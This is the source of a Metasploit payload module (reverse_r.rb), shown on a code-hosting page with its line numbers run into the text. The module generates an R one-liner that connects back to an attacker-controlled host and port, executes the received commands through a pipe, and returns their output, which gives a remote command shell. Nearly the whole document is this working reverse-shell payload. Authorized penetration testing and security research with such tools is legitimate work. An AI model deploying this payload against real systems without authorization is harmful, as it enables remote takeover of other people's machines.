Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_r.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 157910include Msf::Payload::Single11include Msf::Payload::R12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Unix Command Shell, Reverse TCP (via R)',17'Description' => 'Connect back and create a command shell via R',18'Author' => [ 'RageLtMan <rageltman[at]sempervictus>' ],19'License' => MSF_LICENSE,20'Platform' => 'unix',21'Arch' => ARCH_CMD,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'cmd',25'RequiredCmd' => 'R',26'Payload' => { 'Offsets' => {}, 'Payload' => '' }27))28register_advanced_options(29[30OptString.new('RPath', [true, 'The path to the R executable', 'R'])31]32)33end3435def generate(_opts = {})36return prepends(r_string)37end3839def prepends(r_string)40return "#{datastore['RPath']} -e \"#{r_string}\""41end4243def r_string44lhost = datastore['LHOST']45lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)46return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +47"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +48"(pipe(readLines(s, 1))),s)}"49end50end515253